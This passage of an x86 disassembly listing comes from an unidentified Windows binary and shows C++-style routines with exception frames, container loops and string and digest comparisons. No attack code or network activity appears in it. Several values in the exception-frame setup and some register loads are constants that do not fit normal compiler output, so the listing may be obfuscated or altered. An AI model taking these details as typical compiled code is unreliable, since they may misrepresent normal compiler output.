sub_411F80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FB0	proc near		; CODE XREF: sub_401B72j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	6586Ch
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_437044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_40184D
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401B45
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_40145B
		mov	ecx, edi
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401195
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+1Ch+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411FB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412070	proc near		; CODE XREF: sub_40191Aj

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	32C36h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, 60CB0h
		call	sub_401523
		lea	ecx, [esp+40h+var_3C]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	14h
		push	5
		lea	edx, [esp+4Ch+var_24]
		push	13h
		push	edx
		call	sub_4018DE
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 1
		call	sub_401726
		add	esi, 4
		push	eax
		push	esi
		mov	edx, 880C19h
		call	sub_401523
		lea	ecx, [esp+40h+var_24]
		mov	[esp+40h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+40h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_412070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412160	proc near		; CODE XREF: sub_401BAEj

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_401726
		test	eax, eax
		jz	short loc_412207
		lea	ecx, [esp+18h+var_14]
		call	sub_4020B3
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40181B
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40112C
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_4012F8
		test	al, al
		jz	short loc_412207


loc_4121C8:				; CODE XREF: sub_412160+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401A7D
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41222C
		call	sub_401168
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40112C
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_4012F8
		test	al, al
		jnz	short loc_4121C8


loc_412207:				; CODE XREF: sub_412160+2Ej
					; sub_412160+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41222C:				; CODE XREF: sub_412160+86j
		call	sub_401311
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_412160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4122A0	proc near		; CODE XREF: sub_401F8Cj

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	220306h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_401726
		test	eax, eax
		jz	loc_412373
		lea	ecx, [esp+28h+var_18]
		call	sub_401032
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_4018AC
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402095
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_4019F6
		test	al, al
		jz	short loc_412373


loc_41230F:				; CODE XREF: sub_4122A0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011A9
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_40146F
		mov	ecx, ebx
		call	sub_401BAE
		mov	esi, eax
		test	esi, esi
		jz	short loc_41233C
		mov	edi, [esi]


loc_41233C:				; CODE XREF: sub_4122A0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401A7D
		test	eax, eax
		jz	short loc_41239B
		test	esi, esi
		jnz	short loc_41239B
		lea	ecx, [esp+28h+var_18]
		call	sub_4017E9
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402095
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_4019F6
		test	al, al
		jnz	short loc_41230F


loc_412373:				; CODE XREF: sub_4122A0+31j
					; sub_4122A0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	eax, eax


loc_412386:				; CODE XREF: sub_4122A0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41239B:				; CODE XREF: sub_4122A0+AAj
					; sub_4122A0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	eax, edi
		jmp	short loc_412386
sub_4122A0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412400	proc near		; CODE XREF: sub_401DFCj

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	110183h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_401726
		test	eax, eax
		jz	short loc_4124A4
		lea	ecx, [esp+14h+var_14]
		call	sub_401CE9
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012B2
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401C62
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401C35
		test	al, al
		jz	short loc_4124A4


loc_412466:				; CODE XREF: sub_412400+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401E51
		mov	ecx, [eax]
		call	sub_401A7D
		test	eax, eax
		jz	short loc_4124D6
		lea	ecx, [esp+14h+var_14]
		call	sub_401F2D
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401C62
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401C35
		test	al, al
		jnz	short loc_412466


loc_4124A4:				; CODE XREF: sub_412400+2Bj
					; sub_412400+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40150A
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_4124D6:				; CODE XREF: sub_412400+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401E51
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_40150A
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
sub_412400	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412570	proc near		; CODE XREF: sub_4011B3j

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	880C1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_401726
		test	eax, eax
		jz	loc_4126A3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401974
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_4013CF
		push	44060h
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_401564
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_401384
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_401479
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401B09
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_401FCD
		add	esp, 14h


loc_41260B:				; CODE XREF: sub_412570+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_4013CF
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset loc_422030
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_40162C
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_4011F9
		inc	esi
		cmp	esi, 10h
		jl	short loc_41260B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401A7D
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41269E
		call	sub_4011F9
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	short loc_4126BC
; ---------------------------------------------------------------------------


loc_41269E:				; CODE XREF: sub_412570+10Cj
		call	sub_4011F9


loc_4126A3:				; CODE XREF: sub_412570+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al


loc_4126BC:				; CODE XREF: sub_412570+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_412570	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412740	proc near		; CODE XREF: sub_401848j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	211018h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_40146F
		mov	ecx, esi
		call	sub_401F8C
		test	eax, eax
		jz	short loc_4127EE
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401681
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_10], esp
		push	edx
		mov	byte ptr [esp+40h+var_4], 2
		call	sub_40146F
		mov	ecx, esi
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401DFC
		test	eax, eax
		jz	short loc_4127EE
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_4127EE:				; CODE XREF: sub_412740+3Fj
					; sub_412740+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_412740	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412870:				; CODE XREF: _294ADE7B:00401343j
		push	0FFFFFFFFh
		push	50880Ch
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_4017A8
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_4017A8
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_401848
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_40115Ej

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	684406h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_412A49
		lea	ecx, [esp+48h+arg_0]
		call	sub_401726
		test	eax, eax
		jz	loc_412A49
		push	esi
		push	edi
		push	742203h
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_401622
		push	3A1101h
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012B7
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_4011F9
		cmp	edi, ebx
		jz	loc_412A23
		add	ebp, 54h


loc_412980:				; CODE XREF: sub_412900+11Dj
		push	15h
		call	sub_43034A
		add	esp, 4
		mov	[esp+50h+var_40], eax
		cmp	eax, ebx
		mov	byte ptr [esp+50h+var_4], 2
		jz	short loc_4129A0
		mov	ecx, eax
		call	sub_401DE8
		jmp	short loc_4129A2
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: sub_412900+95j
		xor	eax, eax


loc_4129A2:				; CODE XREF: sub_412900+9Ej
		push	5D0880h
		lea	ecx, [esp+54h+var_24]
		push	esi
		push	ecx
		lea	ecx, [esp+5Ch+arg_0]
		mov	byte ptr [esp+5Ch+var_4], bl
		mov	[esp+5Ch+arg_18], eax
		call	sub_401622
		mov	ecx, [esp+50h+arg_18]
		push	eax
		mov	byte ptr [esp+54h+var_4], 3
		call	sub_401EAB
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_4011F9
		lea	edx, [esp+50h+arg_18]
		mov	ecx, ebp
		push	edx
		call	sub_401429
		inc	esi
		push	6E8440h
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_401622
		push	374220h
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012B7
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_4011F9
		cmp	edi, ebx
		jnz	loc_412980


loc_412A23:				; CODE XREF: sub_412900+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_412A49:				; CODE XREF: sub_412900+26j
					; sub_412900+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_412900	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AD0	proc near		; CODE XREF: sub_401DE8j
		push	esi
		mov	esi, ecx
		call	sub_4013CF
		mov	eax, esi
		pop	esi
		retn
sub_412AD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412AF0:				; CODE XREF: _294ADE7B:004010D7j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_4017A8
		mov	ecx, esi
		call	sub_40115E
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B30	proc near		; CODE XREF: sub_4017D0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch
arg_30		= byte ptr  34h
arg_48		= byte ptr  4Ch
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	5BA110h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_40146F
		mov	ecx, ebp
		call	sub_401BAE
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_412D1E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_40146F
		mov	ecx, ebp
		call	sub_401F8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_412D1E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_40146F
		mov	ecx, ebp
		call	sub_4011B3
		cmp	al, bl
		jz	loc_412D1E
		push	6DD088h
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012B7
		test	eax, eax
		jz	short loc_412C17
		lea	ecx, [edi+2Ah]
		call	sub_401726
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_401726


loc_412BE6:				; CODE XREF: sub_412B30+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_412C0A
		cmp	cl, bl
		jz	short loc_412C06
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_412C0A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_412BE6


loc_412C06:				; CODE XREF: sub_412B30+C0j
		xor	eax, eax
		jmp	short loc_412C0F
; ---------------------------------------------------------------------------


loc_412C0A:				; CODE XREF: sub_412B30+BCj
					; sub_412B30+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_412C0F:				; CODE XREF: sub_412B30+D8j
		cmp	eax, ebx
		jnz	loc_412D1E


loc_412C17:				; CODE XREF: sub_412B30+A1j
		push	36E844h
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012B7
		test	eax, eax
		jz	short loc_412C73
		lea	ecx, [edi+3Fh]
		call	sub_401726
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_401726


loc_412C42:				; CODE XREF: sub_412B30+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_412C66
		cmp	cl, bl
		jz	short loc_412C62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_412C66
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_412C42


loc_412C62:				; CODE XREF: sub_412B30+11Cj
		xor	eax, eax
		jmp	short loc_412C6B
; ---------------------------------------------------------------------------


loc_412C66:				; CODE XREF: sub_412B30+118j
					; sub_412B30+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_412C6B:				; CODE XREF: sub_412B30+134j
		cmp	eax, ebx
		jnz	loc_412D1E


loc_412C73:				; CODE XREF: sub_412B30+FAj
		push	58h
		call	sub_43034A
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_412C93
		mov	ecx, eax
		call	sub_401BE5
		jmp	short loc_412C95
; ---------------------------------------------------------------------------


loc_412C93:				; CODE XREF: sub_412B30+158j
		xor	eax, eax


loc_412C95:				; CODE XREF: sub_412B30+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_401EAB
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_401EAB
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_4013B1
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	short loc_412D6B
; ---------------------------------------------------------------------------


loc_412D1E:				; CODE XREF: sub_412B30+44j
					; sub_412B30+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al


loc_412D6B:				; CODE XREF: sub_412B30+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_412B30	endp

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412E20	proc near		; CODE XREF: sub_401BE5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	1B7422h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_4013CF
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412E20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412EB0:				; CODE XREF: _294ADE7B:00401C94j
		push	0FFFFFFFFh
		push	4DBA11h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_4017A8
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_4017A8
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_4017A8
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_4017A8
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_4017A8
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4017D0
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412FA0	proc near		; CODE XREF: sub_4014CEj
		add	ecx, 6Ch
		jmp	sub_401B45
sub_412FA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412FC0	proc near		; CODE XREF: sub_40132Fj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
